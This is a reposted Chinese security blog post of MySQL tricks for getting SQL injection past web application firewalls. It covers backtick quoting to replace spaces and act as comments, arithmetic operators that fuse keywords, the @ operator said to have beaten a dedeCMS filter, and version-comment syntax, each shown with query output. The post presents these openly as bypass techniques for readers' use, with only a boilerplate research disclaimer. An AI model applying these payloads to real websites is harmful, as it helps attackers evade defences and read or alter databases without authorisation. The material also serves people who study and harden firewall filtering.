WAF绕过的奇技淫巧

独自等待 2017年5月10日20:40:07评论402 views字数 1234阅读4分6秒阅读模式

从freebuf淘来一些WAF Bypass技巧,转发过来,希望对兄弟们有用。

研究过国内外的WAF。分享一些 奇淫绝技。

一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。

WAF

Mysql:

tips1: 神奇的 ` (格式输出表的那个控制符)

过空格 过一些正则。

mysql> select`version`()
    -> ;
+----------------------+
| `version`()          |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)

一个更好玩的技巧,这个` 控制符可以当注释符用(限定条件)。

mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
 `>

usage : where id =’0′`’xxxxcomment on.

tips2:神奇的“- + .”:

mysql> select id from qs_admins;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
|        1 |
+----------+
1 row in set (0.00 sec)

mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
|        1 |
+----------+
1 row in set (0.00 sec)

(有些人不是一直在说关键字怎么过?过滤一个from … 就是这样连起来过)

tips3: @

mysql> select@^1.from qs_admins;
+------+
| @^1. |
+------+
| NULL |
+------+

这个是bypass 曾经dedeCMS filter。

或者下面这样也是可以的:

tips4:mysql function() as xxx 也可以不用as 和空格

mysql> select-count(id)test from qs_admins;
+------+
| test |
+------+
|   -1 |
+------+
1 row in set (0.00 sec)

tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)

mysql> /*!40000select*/ id from qs_admins;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

原文地址:http://www.freebuf.com/articles/web/10099.html



from www.waitalone.cn.thanks for it.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月10日20:40:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WAF绕过的奇技淫巧https://cn-sec.com/archives/50216.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息